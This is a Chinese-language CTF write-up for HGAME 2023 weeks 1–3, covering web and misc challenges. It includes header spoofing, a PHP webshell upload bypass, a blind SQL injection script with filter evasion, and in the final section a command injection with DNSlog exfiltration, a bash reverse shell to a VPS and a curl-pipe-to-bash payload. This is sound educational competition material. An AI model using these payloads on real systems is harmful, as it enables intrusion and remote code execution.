Week1
Web
Classic Childhood Game
兔兔最近迷上了一个纯前端实现的网页小游戏,但是好像有点难玩,快帮兔兔通关游戏!
前端js游戏,看源码,这里关注到通过后有个mota()
函数
跟进
发现可疑数据,先十六进制解码,得到YUdkaGJXVjdabFZ1Ym5sS1lYWmhjMk55YVhCMEprWjFibTU1VFRCMFlVYzBiV1Y5
,二次base64解码,得到flag
hgame{fUnnyJavascript&FunnyM0taG4me}
Become A Member
学校通知放寒假啦,兔兔兴高采烈的打算购买回家的车票,这时兔兔发现成为购票网站的会员账户可以省下一笔money……
想成为会员也很简单,只需要一点点HTTP的知识……等下,HTTP是什么,可以吃吗
身份证明,一眼丁真,UA
这个的话,持有邀请码,测试后发现是Cookie
这个来自于,一看就是Referer
本地,XFF
json请求一下即可
Guess Who I Am
要求回答对一百次问题,环境如下
而后在源代码中发现
源代码中发现注释
https://github.com/Potat0000/Vidar-Website/blob/master/src/scripts/config/member.js
在这个里面发现了
从中我们找到对应的关键词,这里的话就是19级会长 / DL爱好者 / web苦手
,在这个文件中找到符合的提交id后就可以得分,那么我们这里的话就是想到慢慢找太慢了,我们这里想要弄一个脚本来自动跑,但我们会发现这里查看源代码是没有那个关键词的
所以我们直接请求这个网址肯定是无法得到关键词的,那我们就看F12中的网络,看有哪些请求包
疑似发现获取关键词的,访问一下
确实如此,接下来的话,我们还需要去找一个提交的api,和一个获取成绩的,获取成绩的就在下面,即getScore
,点击提交看看提交的api
接下来就获取到全部的api了,现在说一下写脚本的思路
首先我们去请求这个问题的api,得到这个关键词,然后我们就需要去提交这个答案,提交答案这里,我们需要一个函数,我们写一个函数将这个
关键词与github中的那个json文件进行比对,比对成功后获取到id,然后将这个id以post方式提交,然后再调用得分的api,这样就可以看到
成绩
这里还需要说明的是每次比对,都是用session校验的,所以我们直接获取session来请求即可,这里借用一下wha1e
大师傅的脚本
import requests
import json
def get_id(intro):
with open('1.json', 'r',encoding='utf-8') as f:
# 解析 JSON 数据
data = json.load(f)
# 遍历数据中的每一项
for item in data:
# 如果 intro 属性与要匹配的值相同
if item['intro'] == intro:
# 获取 id 属性并输出
ID = f"{item['id']}"
break
# 表单数据
#print(ID)
data = {"id": ID}
return data
session=requests.Session()
for i in range(100):
# 发出 HTTP GET 请求并获取响应
response = session.get('http://week-1.hgame.lwsec.cn:30629/api/getQuestion')
# 将响应的文本解析为 JSON 数据
intro = str(response.text)
intro = json.loads(intro)
intro = intro['message']
print(intro)
data = get_id(intro)
print(data)
# 发送 POST 请求
P = session.post('http://week-1.hgame.lwsec.cn:30629/api/verifyAnswer', data=data)
print(P.text)
score = session.get('http://week-1.hgame.lwsec.cn:30629/api/getScore')
print(score.text)
Show Me Your Beauty
登陆了之前获取的会员账号之后,兔兔想找一张自己的可爱照片,上传到个人信息的头像中 😀
不过好像可以上传些奇怪后缀名的文件诶 XD
进去后是一个上传头像的,试了试很多没传上去,最后发现大小写绕过即可,上传Php,或是PHp,这种都可以实现webshell的上传
上传jpg,抓包
修改文件后缀为Php
成功上传,访问后执行命令获取到flag
Misc
Sign In
欢迎参加HGAME2023,Base64解码这段Flag,然后和兔兔一起开始你的HGAME之旅吧,祝你玩的愉快!
aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==
base64解码即得到flaghgame{Welcome_To_HGAME2023!}
e99p1ant_want_girlfriend
兔兔在抢票网站上看到了一则相亲广告,人还有点小帅,但这个图片似乎有点问题,好像是CRC校验不太正确?
附件是一张图片
提示CRC,想到宽高可能不太对,用010打开
前八个字符 89 50 4E 47 代表是PNG格式固定的文件头;
00 00 00 0D代表图片长宽的数据块长度为13,也是固定值;
第二个方框中49 48 44 52代表IHDR,固定值;
第二行第一个方框中的 00 00 02 00 为图片宽度, 第二个方框中的 00 00 02 A8 为图片高度
由于数据块长度为13,所以08 02 00 00 00为剩余部分;
最后一个方框 A8 58 6B 45 为CRC校验和
参考网络上的相关资料,考虑爆破CRC校验,所以上python
import binascii
import struct
# \x49\x48\x44\x52\x00\x00\x01\x00\x00\x00\x00\x00\x08\x02\x00\x00\x00
crc32key = 0xA8586B45
for i in range(0, 65535):
for j in range(0, 65535):
width = struct.pack('>i', j)
height = struct.pack('>i', i)
data = b'\x49\x48\x44\x52' + width + height + b'\x08\x06\x00\x00\x00'
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(''.join(map(lambda c: "%02X" % c, width)))
print(''.join(map(lambda c: "%02X" % c, height)))
修改一下高度后再打开图片,发现flag
Where am I
兔兔回家之前去了一个神秘的地方,并拍了张照上传到网盘,你知道他去了哪里吗?
flag格式为: hgame{经度时经度分经度秒东经(E)/西经(W)纬度时纬度分纬度秒_南纬(S)/北纬(N)},秒精确到小数点后两位
例如: 11°22’33.99”E, 44°55’11.00”S 表示为 hgame{11_22_3399_E_44_55_1100_S}
得到附件,用wireshark打开,追踪TCP流,在15流发现upload,但我手撸rar内容总是出错,所以这里导出用工具来整了
而后将文件用binwalk分离,得到rar文件,进行了伪加密,对于rar,第24个字节是4表示是加密,是0则表示未加密,因此我们将24
改为20
即可破解伪加密
修复过来,打开rar文件,得到一张图片,图片属性中有如下信息
结合题目,可得到flaghgame{116_24_1488_E_39_54_5418_N}
神秘的海报
得到一个png图片,可能是lsb隐写,先用zsteg搞一下
疑似得到半个flag,然后这里还给出了网址,访问一下
wav文件,下载下来,用steghide搞一下这个wav文件试试看,这里需要密码,盲猜123456拼接后得到flag
hgame{U_Kn0w_LSB&Wav^Mp3_Stego}
Week2
Web
Git Leakage
电视剧里的黑客?真正的黑客!
进入环境
代码雨,没发现什么东西,注意到题目中是Git
,因此这里的话可能是Git泄露,所以用GitHack扫描一下,而后切换到这个目录
python3 GitHack.py http://week-2.hgame.lwsec.cn:31339/.git
切换到该目录
得到flaghgame{Don't^put*Git-in_web_directory}
v2board
请尝试获取Admin用户的订阅链接,flag格式为hgame{admin用户订阅链接中的token值}。
这里的话进入站点
一个机场的样子,本来想着越权获取管理员token,但想到这是CTF,应该不会考这个,所以搜索v2Board的漏洞,发现
https://github.com/zgao264/v2board-exp
用这个打一下
切换到该目录中即可查看到配置文件,从而看到admin的token
flag为hagme{358835c189627df0c0d6ca4e5c1220f9}
Search Commodity
R1esbyfe给兔兔写了一个简易的查询面板,只需要输入id数字,就可以查到兔兔最近买的东西(包括年货)
R1esbyfe:”面板登陆用户名是user01,密码……忘了,反正是个比较好猜的密码,我记得它是8位数的,有字母也有数字”
貌似R1esbyfe还藏了点惊喜,你能帮助兔兔找到它吗?
(数据库启动需要时间,若出现Internal Error,需要稍等片刻)
进入环境,是登录框,八位简单密码,盲猜密码admin123
进入后得到一个登录框
输入2-1,发现解析,与1的回显相同,说明存在数字型注入
但经过测试,=
和空格
以及select
和information
以及from
等,所以这里的话考虑用like
代替=
,用大小写绕过被ban的字符串,用()
代替空格,构造最终exp如下
# @Author: quan9i
import requests
url = "http://week-2.hgame.lwsec.cn:30456/search"
headers = {
'Cookie': 'SESSION=MTY3MzY5ODA3N3xEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT183wzfDSUjec5KqgMoVZy3xJEdTEgYjpq3a4hw5L9-KMA='
}
flag = ''
#payload = "0^(substr((SELECT(binary(DatabAse()))),{},1)like('{}'))"# 破数据库
#payload = "0^(substr((SELECT(group_concat(table_name))FROM(InfoRmation_schema.tables)Where((table_schema)like('se4rch'))),{},1)like('{}'))"#破表
#payload = "0^(substr((SELECT(group_concat(column_name))FROM(InfoRmation_schema.columns)Where((table_name)like('5ecret15here'))),{},1)like('{}'))"#破列
payload = "0^(substr((SELECT(binary(F14GGGG1SHERE))From(5ecret15here)),{},1)like('{}'))"#获取flag
#for i in range(1,15)#非获取flag情况下用这个即可
for i in range(1,64):
for j in range(32,127):
f=chr(j)
if f=='%':
continue
if f=='_':
f='\\_'
data={
'search_id':payload.format(i,f)
}
#print(data)
r=requests.post(url,data=data,headers=headers)
if "hard disk" in r.text:
flag += f
print("前"+str(i)+"位为"+flag)
if '\\' in flag:
flag =flag.replace('\\','')
break
Misc
Tetris Master
你是否已经厌倦了普通的游戏题目,对于写脚本玩游戏感到无聊? 此题你需要能够实现RCE,拿到根目录下的flag,又或者你是真正的Tetris
Master? 请使用ssh进行连接,账号为ctf,密码为hgame,例如ssh ctf@week-2.hgame.lwsec.cn -p
port。并且你需要将终端的字体调小,使窗口大小至少为 200 * 70 才能正常进行游戏。 HINTS:
题目描述已更新,同时由于存在非预期,题目分数降至50,并上线100分的Revenge版本。
Sign In Pro Max
兔兔没有抢到回家的车票,一个猫猫头像的学长给了他一个候补车票抢票软件,但是这个软件的验证码太难了,你能帮他解一下吗?
flag 英文字母为全小写,自行使用 hgame{}包裹后提交
附件内容如下
Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==
Part2, a hash function with 128bit digest size and 512bit block size: c629d83ff9804fb62202e90b0945a323
Part3, a hash function with 160bit digest size and 512bit block size: 99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.
第一个,base64解密得到AYycpMB15zKbnu7Jsz3KFi
第二个,md5解密得到f91c
第三个,md5解密得到4952
第四个,md5解密得到a3ed
Week3
Web
Ping To The Host
一个用来输入ip的ping工具,我可以用它来做些什么?
一个ping命令,随便输入一下
而后发现是无回显命令执行。
这里检测后发现过滤了空格,可以用${IFS}
来代替,而后我们可以尝试利用DNSlog执行命令
0|curl${IFS}`ls${IFS}/`.s3moz8.ceye.io
但这里发现有长度限制,所以选择反弹shell,但发现过滤了bash,这里的话其实可以用bas''h
直接绕过了,不过没想起来,我当时采用的方法是在vps上写一个文件,内容如下所示
bash -i>& /dev/tcp/123.xxx.xxx.142/7777 0>&1
接下来我们vps开启监听,指令如下
nc -lvnp 7777
而后去访问这个文件,指令如下
0|curl${IFS}http://124.222.255.142:8083/index.php|bas''h